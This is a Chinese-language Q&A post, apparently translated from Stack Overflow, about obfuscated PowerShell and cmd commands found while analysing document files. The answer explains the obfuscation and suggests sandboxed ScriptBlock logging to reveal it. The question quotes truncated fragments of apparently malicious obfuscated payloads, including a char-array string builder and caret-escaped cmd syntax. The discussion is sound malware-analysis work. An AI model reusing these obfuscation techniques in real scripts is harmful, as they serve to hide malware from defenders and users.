在分析文档文件时,我看到一些强大的Shell命令,例如
Execute Command - params "PowersHeLL & ( $sHELlId[1]+$ShEllID[13]+'X')( [StRinG]::joiN( '' ,([CHaR[]] (62 , 116, 109 ,84 ,119 , 86,88 ,58,39, 58 , 116 ,127 ,109 ,55, 117,120,112, 127 ,121,110,58 ,104,123 , 116,126, 117,119, 33 ,62 , 116 ,78 ,116 , 86, 77 ,95 ,58, 39 ,58 , 116 ,127 , 109
或
Run - params [Function FqLHmmC ([vwPoLiLXwz]): 7 statement(s), 'cmd /c ^f^O^r ; ; /^F , ; " tokens= 2 delims=EFHMN" ; %^h ; ; ^iN ; ( , \' ; ft^^YpE , ; ^| ; fiNd^^str , H^^C \' ; ; ) ; ^do , ; %^h; ; n8ZAmId/vs~*t^@^Y)PUA^ ; ; h0XobFu/^C " , , ( (s^ET ^ ^` ^ =E=6^l2u^\\^h^s\'^y4D^w^XoWJNzL@^b^anGx, ^Ri^{f.P1+Fcme^3^v^0/jB^(krd;^}Z^)-^:tM^Sg^$^pOC)
这些如何解释?例如,我猜62 , 116, 109 ,84
是十进制值。但是,将它们转换为ascii没有意义。第二个声音,例如fiNd^^str , H^^C \' ; ; ) ; ^do
听起来像bash脚本。但这没有意义。
这是否意味着它们被混淆了?还是迷惑呢?!
答案 0 :(得分:2)
这些如何解释?
好吧,它们像其他任何PowerShell代码一样被解析和解释。对于人类而言,这更难阅读。 [char]116
就是这样。您可以将其键入PowerShell中并找出其含义(t
的ascii代码)。
这是否意味着它们被混淆了?
是的
最简单的反混淆方法是运行启用的ScriptBlock logging。事件日志将揭示实际执行的内容。由于您不知道要执行什么:仅在隔离的沙盒环境中执行此操作!